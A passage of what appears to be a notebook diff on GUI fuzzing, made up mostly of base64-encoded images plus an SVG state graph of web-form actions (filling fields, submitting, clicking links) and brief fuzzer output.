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
+)
+
+```py
+In new state <state-2> frozenset({"click('order form')"})
+
+```
+
+<svg height="460pt" viewBox="0.00 0.00 401.89 460.00" width="402pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 456)"><title>%3</title> <g class="node" id="node1"><title>start</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="220.496" y="-430.3"><start></text></g> <g class="node" id="node2"><title>state</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="220.496" y="-357.3"><state></text></g> <g class="edge" id="edge1"><title>start->state</title></g> <g class="node" id="node3"><title>state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="45.496" y="-141.3"><state-1></text></g> <g class="edge" id="edge2"><title>state->state-1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="57.496" y="-276.3">click('terms and conditions')</text></g> <g class="node" id="node4"><title>state-2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="220.496" y="-195.3"><state-2></text></g> <g class="edge" id="edge3"><title>state->state-2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="220.496" y="-313.8">fill('zip', '<number>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="220.496" y="-298.8">fill('name', '<text>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="220.496" y="-283.8">fill('city', '<text>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="220.496" y="-268.8">check('terms', <boolean>)</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="220.496" y="-253.8">fill('email', '<email>')</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="220.496" y="-238.8">submit('submit')</text></g> <g class="node" id="node5"><title>end</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="357.496" y="-87.3"><end></text></g> <g class="edge" id="edge4"><title>state->end</title></g> <g class="node" id="node6"><title>unexplored</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="111.496" y="-14.3"><unexplored></text></g> <g class="edge" id="edge5"><title>state-1->unexplored</title></g> <g class="edge" id="edge7"><title>state-2->end</title></g> <g class="node" id="node7"><title>state-3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="186.496" y="-87.3"><state-3></text></g> <g class="edge" id="edge6"><title>state-2->state-3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="start" x="209.496" y="-141.3">click('order form')</text></g> <g class="edge" id="edge8"><title>state-3->unexplored</title></g></g></svg>
+
+```py
+None
+
+```
+
+```py
+('<state-2>', 'PASS')
+
+```
+
+```py
+gui_fuzzer.run(gui_runner)
+
+```
+
+```py
+Action click('terms and conditions') -> <state-1>
+
+```
+
+![](data:image/png;base64,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